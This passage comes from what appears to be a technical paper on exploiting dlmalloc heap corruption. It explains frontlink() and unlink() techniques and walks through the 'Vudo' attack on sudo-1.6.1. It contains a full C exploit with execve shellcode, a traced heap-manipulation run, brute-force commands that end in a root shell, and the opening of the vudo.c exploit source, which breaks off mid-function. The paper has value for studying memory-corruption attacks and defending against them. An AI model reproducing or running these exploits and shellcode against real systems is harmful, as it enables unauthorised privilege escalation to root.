Unfortunately the only call to one of the dlmalloc routines after the overflow at line[9] is the call to free(3) at line[0]. In order to free the second buffer, the step[4] of the free(3) algorithm is carried out, but the unlink() macro is neither called at step[4.1], nor at step[4.2], since the chunks of memory that border the second chunk (the first and third chunks) are allocated (and the corrupted boundary tag of the fifth chunk is not even read during the step[4.1] or step[4.2] of the free(3) algorithm). Therefore the attacker cannot exploit the unlink() technique during the free(3) call at line[0], but should exploit the frontlink() (called at step[4.3] of the free(3) algorithm) technique instead.

Indeed, the fd field of the corrupted boundary tag associated with the fifth chunk is read (at line[3] in the frontlink() macro) during this call to frontlink(), since the second chunk should be inserted in the doubly‑linked list of the bin number 79 (as detailed in 3.4.1, because the effective size of this chunk is equal to 1504 (request2size(1500))), since the fifth chunk was inserted in this very same doubly‑linked list at line[8] (as detailed in 3.4.1, because the effective size of this chunk is equal to 1512 (request2size(1508))), and since the second chunk should be inserted after the fifth chunk in that list (1504 is indeed less than 1512, and the chunks in each list are maintained in decreasing sorted order by size, as mentioned in 3.4.2).

The exploit below overflows the fourth buffer and overwrites the fd field of the fifth chunk with the address of a fake chunk stored in the environment variables passed to the vulnerable program. The size field of this fake chunk is set to 0 in order to trick free(3) into leaving the loop[2] of the frontlink() macro while FD points to that fake chunk, and in the bk field of the fake chunk is stored the address (minus 8 bytes) of the first function pointer emplacement in the .dtors section:

http://www.synnergy.net/downloads/papers/dtors.txt

This function pointer, overwritten by frontlink() with the address of the second chunk, is read and executed at the end of the vulnerable program. Since the attacker can control (via argv[2]) the content and size of the chunk located immediately before the second chunk (the first chunk), they can use one of the methods described in 3.6.2.1 in order to store valid machine code in the prev_size field of the second chunk.

In the exploit below, the size of the second argument passed to the vulnerable program (argv[2]) is a multiple of 8 bytes minus 4 bytes, and is greater than or equal to the size of the special shellcode used by the exploit. The last 4 bytes of this special shellcode (including the terminating NUL character) are therefore stored in the last 4 bytes of the first buffer (the prev_size field of the second chunk) and correspond to a jump instruction that simply executes a classic shellcode stored right before.

Since the size of argv[2] should be equal to a multiple of 8 bytes minus 4 bytes, and since this size should also be greater than or equal to the size of the special shellcode, the size of argv[2] is simply equal to ((((sizeof(shellcode) + 4) + 7) & ~7) ‑ 4), which is equivalent to (request2size(sizeof(shellcode)) ‑ 4). The size of the special shellcode in the exploit below is equal to 49 bytes, and the size of argv[2] is therefore equal to 52 (request2size(49) ‑ 4) bytes.

$ objdump ‑j .dtors ‑s vulnerable | grep ffffffff

80495a8 ffffffff 00000000 ........

$ set ‑o noclobber && cat > exploit.c << EOF

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#define FUNCTION_POINTER ( 0x80495a8 + 4 )

#define VULNERABLE "./vulnerable"

#define FAKE_CHUNK ( (0xc0000000 ‑ 4) ‑ sizeof(VULNERABLE) ‑ (16 + 1) ) #define DUMMY 0xeffaced

char shellcode[] =

/* the Aleph One shellcode */

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"

/* the jump instruction */

"\xeb\xd1p";

int main( void )

{

char * p;

char argv1[ 676 + 1 ];

char argv2[ 52 ];

char fake_chunk[ 16 + 1 ];

size_t size;

char ** envp;

char * argv[] = { VULNERABLE, argv1, argv2, NULL };

p = argv1;

/* the padding */

memset( p, 'B', 676 ‑ 4 );

p += 676 ‑ 4;

/* the fd field of the fifth chunk */

*( (void **)p ) = (void *)( FAKE_CHUNK );

p += 4;

/* the terminating NUL character */

*p = '\0';

p = argv2;

/* the padding */

memset( p, 'B', 52 ‑ sizeof(shellcode) );

p += 52 ‑ sizeof(shellcode);

/* the special shellcode */

memcpy( p, shellcode, sizeof(shellcode) );

p = fake_chunk;

/* the prev_size field of the fake chunk */

*( (size_t *)p ) = (size_t)( DUMMY );

p += 4;

/* the size field of the fake chunk */

*( (size_t *)p ) = (size_t)( 0 );

p += 4;

/* the fd field of the fake chunk */

*( (void **)p ) = (void *)( DUMMY );

p += 4;

/* the bk field of the fake chunk */

*( (void **)p ) = (void *)( FUNCTION_POINTER ‑ 8 ); p += 4;

/* the terminating NUL character */

*p = '\0';

/* the size of the envp array */

size = 0;

for ( p = fake_chunk; p < fake_chunk + (16 + 1); p++ ) { if ( *p == '\0' ) { size++;

}

}

size++;

/* the allocation of the envp array */

envp = malloc( size * sizeof(char *) );

/* the content of the envp array */

size = 0;

for ( p = fake_chunk; p < fake_chunk + (16+1); p += strlen(p)+1 ) { envp[ size++ ] = p;

}

envp[ size ] = NULL;

/* the execution of the vulnerable program */

execve( argv[0], argv, envp );

return( ‑1 );

}

EOF

$ make exploit

cc exploit.c ‑o exploit

$ ./exploit

bash$

‑‑[ 4 ‑ Exploiting the Sudo vulnerability ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ 4.1 ‑ The theory ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In order to exploit the Sudo vulnerability, and as mentioned in 2.4, an attacker should overwrite a byte of the boundary tag located immediately after the end of the msg buffer, and should take advantage of this erroneously overwritten byte before it is restored.

Indeed, the exploit provided in 4.2 tricks do_syslog() into overwriting (at line[5] in do_syslog()) a byte of the bk pointer associated with this next contiguous boundary tag, tricks malloc(3) into following (at step[3] in malloc(3)) this corrupted back pointer to a fake chunk of memory, and tricks malloc(3) into taking (at step[3.2] in malloc(3)) this fake chunk off its imaginary doubly linked‑list. The attacker can therefore apply the unlink() technique presented in 3.6.1 and eventually execute arbitrary code as root.

How these successive tricks are actually accomplished is presented below via a complete, successful, and commented run of the Vudo exploit (the dlmalloc calls traced below were performed by Sudo, and were obtained via a special shared library stored in /etc/ld.so.preload):

$ ./vudo 0x002531dc 62595 6866

malloc( 9 ): 0x0805e480;

malloc( 7 ): 0x0805e490;

malloc( 6 ): 0x0805e4a0;

malloc( 5 ): 0x0805e4b0;

malloc( 36 ): 0x0805e4c0;

malloc( 18 ): 0x0805e4e8;

malloc( 14 ): 0x0805e500;

malloc( 10 ): 0x0805e518;

malloc( 5 ): 0x0805e528;

malloc( 19 ): 0x0805e538;

malloc( 3 ): 0x0805e550;

malloc( 62596 ): 0x0805e560;

This 62596 bytes buffer was allocated by the tzset(3) function (called by Sudo at the beginning of the init_vars() function) and is a simple copy of the TZ environment variable, whose size was provided by the attacker via the second argument passed to the Vudo exploit (62596 is indeed equal to 62595 plus 1, the size of a terminating NUL character).

The usefulness of such a huge dynamically allocated buffer is detailed later on, but proved to be essential to the Vudo exploit. For example, this exploit will never work against the Debian operating system since the tzset(3) function used by Debian does not read the value of the TZ environment variable when a SUID or SGID program is run.

malloc( 176 ): 0x0806d9e8;

free( 0x0806d9e8 );

malloc( 17 ): 0x0806d9e8;

malloc( 6 ): 0x0806da00;

malloc( 4096 ): 0x0806da10;

malloc( 6 ): 0x0806ea18;

malloc( 1024 ): 0x0806ea28;

malloc( 176 ): 0x0806ee30;

malloc( 8 ): 0x0806eee8;

malloc( 120 ): 0x0806eef8;

malloc( 15 ): 0x0806ef78;

malloc( 38 ): 0x0806ef90;

malloc( 40 ): 0x0806efc0;

malloc( 36 ): 0x0806eff0;

malloc( 15 ): 0x0806f018;

malloc( 38 ): 0x0806f030;

malloc( 40 ): 0x0806f060;

malloc( 36 ): 0x0806f090;

malloc( 14 ): 0x0806f0b8;

malloc( 38 ): 0x0806f0d0;

malloc( 40 ): 0x0806f100;

malloc( 36 ): 0x0806f130;

malloc( 14 ): 0x0806f158;

malloc( 38 ): 0x0806f170;

malloc( 40 ): 0x0806f1a0;

malloc( 36 ): 0x0806f1d0;

malloc( 36 ): 0x0806f1f8;

malloc( 19 ): 0x0806f220;

malloc( 40 ): 0x0806f238;

malloc( 38 ): 0x0806f268;

malloc( 15 ): 0x0806f298;

malloc( 38 ): 0x0806f2b0;

malloc( 17 ): 0x0806f2e0;

malloc( 38 ): 0x0806f2f8;

malloc( 17 ): 0x0806f328;

malloc( 38 ): 0x0806f340;

malloc( 18 ): 0x0806f370;

malloc( 38 ): 0x0806f388;

malloc( 12 ): 0x0806f3b8;

malloc( 38 ): 0x0806f3c8;

malloc( 17 ): 0x0806f3f8;

malloc( 38 ): 0x0806f410;

malloc( 17 ): 0x0806f440;

malloc( 40 ): 0x0806f458;

malloc( 18 ): 0x0806f488;

malloc( 40 ): 0x0806f4a0;

malloc( 18 ): 0x0806f4d0;

malloc( 38 ): 0x0806f4e8;

malloc( 40 ): 0x0806f518;

malloc( 16 ): 0x0806f548;

malloc( 38 ): 0x0806f560;

malloc( 40 ): 0x0806f590;

free( 0x0806eef8 );

free( 0x0806ee30 );

malloc( 16 ): 0x0806eef8;

malloc( 8 ): 0x0806ef10;

malloc( 12 ): 0x0806ef20;

malloc( 23 ): 0x0806ef30;

calloc( 556, 1 ): 0x0806f5c0;

malloc( 26 ): 0x0806ef50;

malloc( 23 ): 0x0806ee30;

malloc( 12 ): 0x0806ee50;

calloc( 7, 16 ): 0x0806ee60;

malloc( 176 ): 0x0806f7f0;

free( 0x0806f7f0 );

malloc( 28 ): 0x0806f7f0;

malloc( 5 ): 0x0806eed8;

malloc( 11 ): 0x0806f810;

malloc( 4095 ): 0x0806f820;

This 4095 bytes buffer was allocated by the sudo_getpwuid() function, and is a simple copy of the SHELL environment variable provided by the Vudo exploit. Since Sudo was called with the ‑s option (the usefulness of this option is detailed subsequently), the size of the SHELL environment variable (including the trailing NUL character) cannot exceed 4095 bytes because of a check performed at the beginning of the find_path() function called by Sudo.

The SHELL environment variable constructed by the exploit is exclusively composed of pointers indicating a single location on the stack, whose address does not contain any NUL byte (0xbfffff1e in this case). The reasons behind the choice of this particular address are exposed below.

malloc( 1024 ): 0x08070828;

malloc( 16 ): 0x08070c30;

malloc( 8 ): 0x08070c48;

malloc( 176 ): 0x08070c58;

free( 0x08070c58 );

malloc( 35 ): 0x08070c58;

The next series of dlmalloc calls is performed by the load_interfaces() function, and is one of the keys to a successful exploitation of the Sudo vulnerability:

malloc( 8200 ): 0x08070c80;

malloc( 16 ): 0x08072c90;

realloc( 0x08072c90, 8 ): 0x08072c90;

free( 0x08070c80 );

The 8200 bytes buffer and the 16 bytes buffer were allocated during the step[4] in malloc(3), and the latter (even once reallocated) was therefore stored immediately after the former. Moreover, a hole was created in the heap since the 8200 bytes buffer was freed during the step[4.3] of the free(3) algorithm.

malloc( 2004 ): 0x08070c80;

malloc( 176 ): 0x08071458;

malloc( 4339 ): 0x08071510;

The 2004 bytes buffer was allocated by the init_vars() function (because Sudo was called with the ‑s option) in order to hold pointers to the command and arguments to be executed by Sudo (provided by the Vudo exploit). This buffer was stored at the beginning of the previously freed 8200 bytes buffer, during the step[3.1] in malloc(3).

The 176 and 4339 bytes buffers were allocated during the step[2.1] in malloc(3), and stored immediately after the end of the 2004 bytes buffer allocated above (the 4339 bytes buffer was created in order to hold the command and arguments to be executed by Sudo (provided by the exploit)).

The next series of dlmalloc calls is performed by the setenv(3) function in order to create the SUDO_COMMAND environment variable:

realloc( 0x00000000, 27468 ): 0x08072ca8;

malloc( 4352 ): 0x080797f8;

malloc( 16 ): 0x08072608;

The 27468 bytes buffer was allocated by setenv(3) in order to hold pointers to the environment variables passed to Sudo by the exploit (the number of environment variables passed to Sudo was provided by the attacker (the third argument passed to the Vudo exploit)). Because of the considerable size of this buffer, it was allocated at step[4] in malloc(3), after the end of the 8 bytes buffer located immediately after the remainder of the 8200 bytes hole.

The 4352 bytes buffer, the SUDO_COMMAND environment variable (whose size is equal to the size of the previously allocated 4339 bytes buffer, plus the size of the SUDO_COMMAND= prefix), was allocated at step[4] in malloc(3), and was therefore stored immediately after the end of the 27468 bytes buffer allocated above.

The 16 bytes buffer was allocated at step[3.1] in malloc(3), and is therefore located immediately after the end of the 4339 bytes buffer, in the remainder of the 8200 bytes hole.

free( 0x08071510 );

The 4339 bytes buffer was freed, at step[4.3] in free(3), and therefore created a hole in the heap (the allocated buffer stored before this hole is the 176 bytes buffer whose address is 0x08071458, the allocated buffer stored after this hole is the 16 bytes buffer whose address is 0x08072608).

The next series of dlmalloc calls is performed by the setenv(3) function in order to create the SUDO_USER environment variable:

realloc( 0x08072ca8, 27472 ): 0x0807a900;

malloc( 15 ): 0x08072620;

malloc( 16 ): 0x08072638;

The previously allocated 27468 bytes buffer was reallocated for additional space, but since it could not be extended (a too small free chunk was stored before (the remainder of the 8200 bytes hole) and an allocated chunk was stored after (the 4352 bytes buffer)), it was freed at step[5.4.2] in realloc(3) (a new hole was therefore created in the heap) and another chunk was allocated at step[5.4] in realloc(3).

The 15 bytes buffer was allocated, during the step[3.1] in malloc(3), after the end of the 16 bytes buffer allocated above (whose address is equal to 0x08072608).

The 16 bytes buffer was allocated, during the step[2.1] in malloc(3), after the end of the 15 bytes buffer allocated above (whose address is 0x08072620).

The next series of dlmalloc calls is performed by the setenv(3) function in order to create the SUDO_UID and SUDO_GID environment variables:

realloc( 0x0807a900, 27476 ): 0x0807a900;

malloc( 13 ): 0x08072650;

malloc( 16 ): 0x08072668;

realloc( 0x0807a900, 27480 ): 0x0807a900;

malloc( 13 ): 0x08072680;

malloc( 16 ): 0x08072698;

The 13, 16, 13 and 16 bytes buffers were allocated after the end of the 16 bytes buffer allocated above (whose address is 0x08072638), in the remainder of the 8200 bytes hole. The address of the resulting `last_remainder' chunk, the free chunk stored after the end of the 0x08072698 buffer and before the 0x08072c90 buffer, is equal to 0x080726a8 (mem2chunk(0x08072698) + request2size(16)), and its effective size is equal to 1504 (mem2chunk(0x08072c90) ‑ 0x080726a8) bytes.

The next series of dlmalloc calls is performed by the setenv(3) function in order to create the PS1 environment variable:

realloc( 0x0807a900, 27484 ): 0x0807a900;

malloc( 1756 ): 0x08071510;

malloc( 16 ): 0x08071bf0;

The 1756 bytes buffer was allocated (during the step[3.1] in malloc(3)) in order to hold the PS1 environment variable (whose size was computed by the Vudo exploit), and was stored at the beginning of the 4339 bytes hole created above.

The remainder of this hole therefore became the new `last_remainder' chunk, and the old `last_remainder' chunk, whose effective size is equal to 1504 bytes, was therefore placed in its doubly‑linked list (the list associated with the bin number 79) during the step[2.2.2] in malloc(3).

The 16 bytes buffer was allocated during the step[2.1] in malloc(3), in the remainder of the 4339 bytes hole.

malloc( 640 ): 0x08071c08;

malloc( 400 ): 0x08071e90;

The 640 and 400 bytes buffers were also allocated, during the step[2.1] in malloc(3), in the remainder of the 4339 bytes hole.

malloc( 1600 ): 0x08072ca8;

This 1600 bytes buffer, allocated at step[3.1] in malloc(3), was stored at the beginning of the 27468 bytes hole created above. The remainder of this huge hole therefore became the new `last_remainder' chunk, and the old `last_remainder' chunk, the remainder of the 4339 bytes hole, was placed in its bin at step[2.2.2] in malloc(3).

Since the effective size of this old `last_remainder' chunk is equal to 1504 (request2size(4339) ‑ request2size(1756) ‑ request2size(16) ‑ request2size(640) ‑ request2size(400)) bytes, it was placed in the bin number 79 by frontlink(), in front of the 1504 bytes chunk already inserted in this bin as described above.

The address of that old `last_remainder' chunk, 0x08072020 (mem2chunk(0x08071e90) + request2size(400)), contains two SPACE characters, needed by the Vudo exploit in order to successfully exploit the Sudo vulnerability, as detailed below. This very special address was obtained thanks to the huge TZ environment variable mentioned above.

malloc( 40 ): 0x080732f0;

malloc( 16386 ): 0x08073320;

malloc( 13 ): 0x08077328;

free( 0x08077328 );

malloc( 5 ): 0x08077328;

free( 0x08077328 );

malloc( 6 ): 0x08077328;

free( 0x08071458 );

malloc( 100 ): 0x08077338;

realloc( 0x08077338, 19 ): 0x08077338;

malloc( 100 ): 0x08077350;

realloc( 0x08077350, 21 ): 0x08077350;

free( 0x08077338 );

free( 0x08077350 );

All these buffers were allocated, during the step[2.1] in malloc(3), in the remainder of the 27468 bytes hole created above.

The next series of dlmalloc calls is performed by easprintf(), a wrapper to vasprintf(3), in order to allocate space for the msg buffer:

malloc( 100 ): 0x08077338;

malloc( 300 ): 0x080773a0;

free( 0x08077338 );

malloc( 700 ): 0x080774d0;

free( 0x080773a0 );

malloc( 1500 ): 0x080726b0;

free( 0x080774d0 );

malloc( 3100 ): 0x08077338;

free( 0x080726b0 );

malloc( 6300 ): 0x08077f58;

free( 0x08077338 );

realloc( 0x08077f58, 4795 ): 0x08077f58;

In order to allocate the 1500 bytes buffer, whose effective size is equal to 1504 (request2size(1500)) bytes, malloc(3) carried out the step[1.2] and returned (at step[1.2.2]) the last chunk in the bin number 79, and therefore left the 0x08072020 chunk alone in this bin.

But once unused, this 1500 bytes buffer was placed back in the bin number 79 by free(3), at step[4.3], in front of the 0x08072020 chunk already stored in this bin.

The 6300 bytes buffer was allocated during the step[2.2.1] in malloc(3). Indeed, the size of the 27468 bytes hole was carefully chosen by the attacker (via the third argument passed to the Vudo exploit) so that, once allocated, the 6300 bytes buffer would fill this hole.

Finally, the 6300 bytes buffer was reallocated for less space, during the step[4.1] of the realloc(3) algorithm. The reallocated buffer was created in order to hold the msg buffer, and the free chunk processed by chunk_free() during the step[4.1] of the realloc(3) algorithm was placed in its doubly‑linked list. Since the effective size of this free chunk is equal to 1504 (request2size(6300) ‑ request2size(4795)) bytes, it was placed in the bin number 79, in front of the two free chunks already stored in this bin.

The next series of dlmalloc calls is performed by the first call to syslog(3), during the execution of the do_syslog() function:

malloc( 192 ): 0x08072028;

malloc( 8192 ): 0x08081460;

realloc( 0x08081460, 997 ): 0x08081460;

free( 0x08072028 );

free( 0x08081460 );

The 192 bytes buffer was allocated during the step[3.1] of the malloc(3) algorithm, and the processed chunk was the last chunk in the bin number 79 (the 0x08072020 chunk).

Once unused, the 192 bytes buffer was consolidated (at step[4.2] in free(3)) with the remainder of the previously split 1504 bytes chunk, and the resulting coalesced chunk was placed back (at step[4.3] in free(3)) in the bin number 79, in front of the two free chunks already stored in this bin.

The bk field of the chunk of memory located immediately after the msg buffer was therefore overwritten by unlink() in order to point to the chunk 0x08072020.

The next series of dlmalloc calls is performed by the second call to syslog(3), during the execution of the do_syslog() function:

malloc( 192 ): 0x080726b0;

malloc( 8192 ): 0x08081460;

realloc( 0x08081460, 1018 ): 0x08081460;

free( 0x080726b0 );

free( 0x08081460 );

The 192 bytes buffer was allocated during the step[3.1] of the malloc(3) algorithm, and the processed chunk was the last chunk in the bin number 79 (the 0x080726a8 chunk).

The bk field of the bin number 79 (the pointer to the last free chunk in the associated doubly‑linked list) was therefore overwritten by unlink() with a pointer to the chunk of memory located immediately after the end of the msg buffer.

Once unused, the 192 bytes buffer was consolidated (at step[4.2] in free(3)) with the remainder of the previously split 1504 bytes chunk, and the resulting coalesced chunk was placed back (at step[4.3] in free(3)) in the bin number 79, in front of the two free chunks already stored in this bin.

As soon as this second call to syslog(3) was completed, the loop[7] of the do_syslog() function pushed the pointer p after the terminating NUL character associated with the msg buffer, until p pointed to the first SPACE character encountered. This first encountered SPACE character was of course the least significant byte of the bk field (still equal to 0x08072020) associated with the chunk located immediately after msg.

The do_syslog() function successfully passed the test[2] since no NUL byte was found between p and (p + MAXSYSLOGLEN) (indeed, this memory area is filled with the content of the previously allocated and freed 27468 bytes buffer: pointers to the environment variables passed to Sudo by the exploit, and these environment variables were constructed by the exploit in order to avoid NUL and SPACE characters in their addresses).

The byte overwritten with a NUL byte at line[5] in do_syslog() is the first encountered SPACE character when looping from (p + MAXSYSLOGLEN) down to p. Of course, this first encountered SPACE character was the second byte of the bk field (equal to 0x08072020) associated with the chunk located immediately after msg, since no other SPACE character could be found in the memory area between p and (p + MAXSYSLOGLEN), as detailed above.

The bk field of the chunk located immediately after msg was therefore corrupted (its new value is equal to 0x08070020), in order to point to the very middle of the copy the SHELL environment variable mentioned above, before the next series of dlmalloc calls, performed by the third call to syslog(3), were carried out:

malloc( 192 ): 0x08079218;

malloc( 8192 ): 0x08081460;

realloc( 0x08081460, 90 ): 0x08081460;

free( 0x08079218 );

free( 0x08081460 );

The 192 bytes buffer was allocated during the step[3.1] of the malloc(3) algorithm, and the processed chunk was the last chunk in the bin number 79 (the chunk located immediately after msg).

The bk field of the bin number 79 (the pointer to the last free chunk in the associated doubly‑linked list) was therefore overwritten by unlink() with the corrupted bk field of the chunk located immediately after msg.

Once unused, the 192 bytes buffer was consolidated (at step[4.2] in free(3)) with the remainder of the previously split 1504 bytes chunk, and the resulting coalesced chunk was placed back (at step[4.3] in free(3)) in the bin number 79, in front of the two free chunks already stored in this bin (but one of these two chunks is of course a fake chunk pointed to by the corrupted bk field 0x08070020).

Before the next series of dlmalloc calls is performed, by the fourth call to syslog(3), the erroneously overwritten SPACE character was restored at line[6] by do_syslog(), but since the corrupted bk pointer was copied to the bk field of the bin number 79 before, the Vudo exploit managed to permanently damage the internal structures used by dlmalloc:

malloc( 192 ): 0xbfffff1e;

malloc( 8192 ):

In order to allocate the 192 bytes buffer, the step[1.2] of the malloc(3) algorithm was carried out, and an imaginary chunk of memory, pointed to by the corrupted bk field, stored in the very middle of the copy of the SHELL environment variable, was processed. But since this fake chunk was too small (indeed, its size field is equal to 0xbfffff1e, a negative integer), its bk field (equal to 0xbfffff1e) was followed, to another fake chunk of memory stored on the stack, whose size is exactly 200 (request2size(192)) bytes.

This fake chunk was therefore taken off its imaginary doubly‑linked list, allowing the attacker to apply the unlink() technique described in 3.6.1 and to overwrite the __malloc_hook debugging hook with the address of a special shellcode stored somewhere in the heap (in order to bypass the Linux kernel patch from the Openwall Project).

This shellcode was subsequently executed, at the beginning of the last call to malloc(3), since the corrupted __malloc_hook debugging hook was read and executed.

‑‑‑‑[ 4.2 ‑ The practice ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In order to successfully gain root privileges via the Vudo exploit, a user does not necessarily need to be present in the sudoers file, but has to know their user password. They need additionally to provide three command line arguments:

‑ the address of the __malloc_hook function pointer, which varies from one system to another but can be determined;

‑ the size of the tz buffer, which varies slightly from one system to another and has to be brute forced;

‑ the size of the envp buffer, which varies slightly from one system to another and has to be brute forced.

A typical Vudo cult^H^H^H^Hsession starts with an authentication step, a __malloc_hook computation step, and eventually a brute force step, based on the tz and envp examples provided by the Vudo usage message (fortunately the user does not need to provide their password each time Sudo is executed during the brute force step because they authenticated right before):

$ /usr/bin/sudo www.MasterSecuritY.fr

Password:

maxx is not in the sudoers file. This incident will be reported.

$ LD_TRACE_LOADED_OBJECTS=1 /usr/bin/sudo | grep /lib/libc.so.6 libc.so.6 => /lib/libc.so.6 (0x00161000)

$ nm /lib/libc.so.6 | grep __malloc_hook

000ef1dc W __malloc_hook

$ perl ‑e 'printf "0x%08x\n", 0x00161000 + 0x000ef1dc' 0x002501dc

$ for tz in `seq 62587 8 65531`

do

for envp in `seq 6862 2 6874`

do

./vudo 0x002501dc $tz $envp

done

done

maxx is not in the sudoers file. This incident will be reported. maxx is not in the sudoers file. This incident will be reported. maxx is not in the sudoers file. This incident will be reported. maxx is not in the sudoers file. This incident will be reported. maxx is not in the sudoers file. This incident will be reported. maxx is not in the sudoers file. This incident will be reported. maxx is not in the sudoers file. This incident will be reported. maxx is not in the sudoers file. This incident will be reported. maxx is not in the sudoers file. This incident will be reported. maxx is not in the sudoers file. This incident will be reported. bash#

<++> vudo.c !32ad14e5

/*

* vudo.c versus Red Hat Linux/Intel 6.2 (Zoot) sudo‑1.6.1‑1

* Copyright (C) 2001 Michel "MaXX" Kaempf <maxx@synnergy.net> *

* This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or (at * your option) any later version.

*

* This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details.

*

* You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111‑1307 * USA

*/

#include <limits.h>

#include <paths.h>

#include <pwd.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <unistd.h>

typedef struct malloc_chunk {

size_t prev_size;

size_t size;

struct malloc_chunk * fd;

struct malloc_chunk * bk;

} * mchunkptr;

#define SIZE_SZ sizeof(size_t)

#define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )

#define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT ‑ 1 )

#define MINSIZE sizeof(struct malloc_chunk)

/* shellcode */

#define sc \

/* jmp */ \

"\xeb\x0appssssffff" \

/* setuid */ \

"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \

/* setgid */ \

"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \

/* execve */ \

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \ "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \ "\x80\xe8\xdc\xff\xff\xff/bin/sh"

#define MAX_UID_T_LEN 10

#define MAXSYSLOGLEN 960

#define IFCONF_BUF r2s( 8200 )

#define SUDOERS_FP r2s( 176 )

#define VASPRINTF r2s( 6300 )

#define VICTIM_SIZE r2s( 1500 )

#define SUDO "/usr/bin/sudo"

#define USER_CWD "/"

#define MESSAGE 19 /* "command not allowed" or "user NOT in sudoers" */

#define USER_ARGS ( VASPRINTF‑VICTIM_SIZE‑SIZE_SZ ‑ 1 ‑ (MAXSYSLOGLEN+1) ) #define PREV_SIZE 0x5858614d

#define SIZE r2s( 192 )

#define SPACESPACE 0x08072020

#define POST_PS1 ( r2s(16) + r2s(640) + r2s(400) )

#define BK ( SPACESPACE ‑ POST_PS1 + SIZE_SZ ‑ sizeof(sc) ) #define STACK ( 0xc0000000 ‑ 4 )

#define PRE_SHELL "SHELL="

#define MAXPATHLEN 4095

#define SHELL ( MAXPATHLEN ‑ 1 )

#define PRE_SUDO_PS1 "SUDO_PS1="

#define PRE_TZ "TZ="

#define LIBC "/lib/libc.so.6"

#define TZ_FIRST ( MINSIZE ‑ SIZE_SZ ‑ 1 )

#define TZ_STEP ( MALLOC_ALIGNMENT / sizeof(char) )

#define TZ_LAST ( 0x10000 ‑ SIZE_SZ ‑ 1 )

#define POST_IFCONF_BUF (r2s(1600)+r2s(40)+r2s(16386)+r2s(3100)+r2s(6300)) #define ENVP_FIRST ( ((POST_IFCONF_BUF ‑ SIZE_SZ) / sizeof(char *)) ‑ 1 ) #define ENVP_STEP ( MALLOC_ALIGNMENT / sizeof(char *) )

/* request2size() */

size_t

r2s( size_t request )

{

size_t size;

size = request + ( SIZE_SZ + MALLOC_ALIGN_MASK );

if ( size < (MINSIZE + MALLOC_ALIGN_MASK) ) {

size = MINSIZE;

} else {

size &= ~MALLOC_ALIGN_MASK;

}

return( size );

}

/* nul() */

int

nul( size_t size )

{

char * p = (char *)( &size );

if ( p[0] == '\0' || p[1] == '\0' || p[2] == '\0' || p[3] == '\0' ) { return( ‑1 );

}

return( 0 );

}

/* nul_or_space() */

int

nul_or_space( size_t size )

{

char * p = (char *)( &size );

if ( p[0] == '\0' || p[1] == '\0' || p[2] == '\0' || p[3] == '\0' ) { return( ‑1 );

}

if ( p[0] == ' ' || p[1] == ' ' || p[2] == ' ' || p[3] == ' ' ) { return( ‑1 );

}

return( 0 );

}

typedef struct vudo_s {

/* command line */

size_t __malloc_hook;

size_t tz;

size_t envp;

size_t setenv;

size_t msg;

size_t buf;

size_t NewArgv;

/* execve */

char ** execve_argv;

char ** execve_envp;

} vudo_t;

/* vudo_setenv() */

size_t

vudo_setenv( uid_t uid )

{

struct passwd * pw;

size_t setenv;

char idstr[ MAX_UID_T_LEN + 1 ];

/* pw */

pw = getpwuid( uid );

if ( pw == NULL ) {

return( 0 );

}

/* SUDO_COMMAND */

setenv = r2s( 16 );

/* SUDO_USER */

setenv += r2s( strlen("SUDO_USER=") + strlen(pw‑>pw_name) + 1 ); setenv += r2s( 16 );

/* SUDO_UID */

sprintf( idstr, "%ld", (long)(pw‑>pw_uid) );

setenv += r2s( strlen("SUDO_UID=") + strlen(idstr) + 1 ); setenv += r2s( 16 );

/* SUDO_GID */

sprintf( idstr, "%ld", (long)(pw‑>pw_gid) );

setenv += r2s( strlen("SUDO_GID=") + strlen(idstr) + 1 ); setenv += r2s( 16 );

return( setenv );

}

/* vudo_msg() */

size_t

vudo_msg( vudo_t * p_v )

{

size_t msg;

msg = ( MAXSYSLOGLEN + 1 ) ‑ strlen( "shell " ) + 3; msg *= sizeof(char *);

msg += SIZE_SZ ‑ IFCONF_BUF + p_v‑>setenv + SUDOERS_FP + VASPRINTF; msg /= sizeof(char *) + 1;

return( msg );

}

/* vudo_buf() */

size_t

vudo_buf( vudo_t * p_v )

{

size_t buf;

buf = VASPRINTF ‑ VICTIM_SIZE ‑ p_v‑>msg;

return( buf );

}

/* vudo_NewArgv() */

size_t

vudo_NewArgv( vudo_t * p_v )

{

size_t NewArgv;

NewArgv = IFCONF_BUF‑VICTIM_SIZE‑p_v‑>setenv‑SUDOERS_FP‑p_v‑>buf;

return( NewArgv );

}

/* vudo_execve_argv() */

char **

vudo_execve_argv( vudo_t * p_v )

{

size_t pudding;

char ** execve_argv;

char * p;

char * user_tty;

size_t size;

char * user_runas;

int i;

char * user_args;

/* pudding */

pudding = ( (p_v‑>NewArgv ‑ SIZE_SZ) / sizeof(char *) ) ‑ 3;

/* execve_argv */

execve_argv = malloc( (4 + pudding + 2) * sizeof(char *) ); if ( execve_argv == NULL ) {

return( NULL );

}
